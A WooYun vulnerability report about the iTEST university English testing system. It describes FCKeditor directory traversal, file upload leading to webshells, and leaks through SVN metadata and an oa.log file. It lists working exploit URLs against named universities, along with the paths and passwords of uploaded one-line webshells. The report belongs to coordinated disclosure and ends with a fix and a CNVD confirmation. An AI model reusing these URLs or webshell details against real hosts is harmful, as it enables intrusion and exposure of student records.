当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0118641

漏洞标题:某大学测试与训练系统通用型漏洞打包(getshell)

相关厂商:外语教学与研究出版社

漏洞作者: 路人甲

提交时间:2015-06-09 10:37

修复时间:2015-09-10 19:20

公开时间:2015-09-10 19:20

漏洞类型:文件上传导致任意代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-09: 细节已通知厂商并且等待厂商处理中
2015-06-12: 厂商已经确认,细节仅向厂商公开
2015-06-15: 细节向第三方安全合作伙伴开放
2015-08-06: 细节向核心白帽子及相关领域专家公开
2015-08-16: 细节向普通白帽子公开
2015-08-26: 细节向实习白帽子公开
2015-09-10: 细节向公众公开

简要描述:

任意文件上传、文件遍历等等

详细说明:

关键字:iTEST大学英语测试与训练系统
很多案例在校园内网

QQ截图20150606171157.jpg


QQ截图20150606151426.jpg


官网也许是这个
http://itest.heep.cn/
或是这个
http://preenglish.itest.fltrp.com/
以http://itest.heep.cn/为例,问题的产生是由于该套建站软件使用的编辑器fck未正确配置
目录遍历

http://itest.heep.cn/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../../


QQ截图20150606152342.jpg


QQ截图20150606152325.jpg


任意文件上传

http://itest.heep.cn/FCKeditor/editor/filemanager/browser/default/browser.html?Connector=http://itest.heep.cn/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector


访问以上链接提示登录超时,所以本地直接构造poc(见测试代码)

QQ截图20150606152952.jpg


QQ截图20150606152924.jpg


http://itest.heep.cn/UserFiles/wooyun.jsp

QQ截图20150606153048.jpg


再次上传一句话
http://itest.heep.cn/UserFiles/wooyun1.jsp
密码:woo0yun

QQ截图20150606153231.jpg


QQ截图20150606153253.jpg


QQ截图20150606153333.jpg


发现的几个站中都存在svn信息泄漏
http://itest.heep.cn/FCKeditor//.svn/entries
http://itest.heep.cn/admin//.svn/entries

QQ截图20150606153724.jpg


在我发现几个站点中,根目录下都有一个oa.log文件,将泄漏站点的部分敏感信息,如绝对路径
http://itest.heep.cn/oa.log

QQ截图20150606153928.jpg

漏洞证明:

以下为我发现的案例

http://itest.ntu.edu.cn/南通大学
http://itest.ntu.edu.cn//FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../../
http://itest.ntu.edu.cn/oa.log
http://itest.ntu.edu.cn/admin/.svn/entries


QQ截图20150606154245.jpg


QQ截图20150606154306.jpg


QQ截图20150606154325.jpg


南开大学的上传,限制了jsp,但jspx可以,在上传的时候,老方法poc,但poc的内容修改了一下,不然无法进行上传

Command=FileUpload&Type=File&CurrentFolder=%2F


上传后的一句话地址:http://itest.ntu.edu.cn/UserFiles/File//wooyun2.jspx
密码:023

QQ截图20150606161644.jpg


http://itest.hrbeu.edu.cn/哈尔滨工程大学

http://itest.hrbeu.edu.cn/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../../
http://itest.hrbeu.edu.cn/oa.log
http://itest.hrbeu.edu.cn/admin//.svn/entries


QQ截图20150606162356.jpg


QQ截图20150606162244.jpg


QQ截图20150606162312.jpg


QQ截图20150606162602.jpg


http://itest.hrbeu.edu.cn/UserFiles/wooyun.jsp

QQ截图20150606162740.jpg


http://wwet.hytc.edu.cn/淮阴师范学院

http://wwet.hytc.edu.cn/oa.log  这个可以访问
http://wwet.hytc.edu.cn/admin//.svn/entries waf拦截访问?


QQ截图20150606163412.jpg


fck也存在,但上传和目录遍历不行了,这个站把我ip给禁了,呵呵放弃
http://182.139.132.40/四川大学
http://182.139.132.40/oa.log

QQ截图20150606163848.jpg


用另一种方式,本地构造上传页面进行上传

QQ截图20150606164154.jpg


QQ截图20150606164348.jpg


不知名学校
http://222.200.98.253/oa.log
http://222.200.98.253/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../../
http://202.199.162.54/oa.log
http://202.199.162.54/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=../../
http://210.28.218.115//oa.log
http://210.28.218.115/admin//.svn/entries
http://210.28.218.115//FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../
http://222.197.91.116/oa.log 西南民族大学
http://222.197.91.116/admin//.svn/entries
http://222.197.91.116//FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../
体验站点
http://preenglish.itest.fltrp.com/oa.log
http://preenglish.itest.fltrp.com/admin//.svn/entries
http://preenglish.itest.fltrp.com/FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/
不同ip的体验站点
http://nurse.itest.fltrp.com//FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/
http://nurse.itest.fltrp.com//FCKeditor/editor/filemanager/browser/default/connectors/jsp/connector?Command=GetFoldersAndFiles&Type=&CurrentFolder=/../
以上
系统数据的内容包含
学生的姓名学号班级系别

QQ截图20150606170833.jpg


英语考试的成绩、英语试题等

修复方案:

正确配置fck,敏感文件oa.log建议更换目录存放

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:13

确认时间:2015-06-12 19:19

厂商回复:

CNVD确认并复现所述情况,已由CNVD通过软件生产厂商公开联系渠道向其邮件通报,由其后续提供解决方案并协调相关用户单位处置。

最新状态:

暂无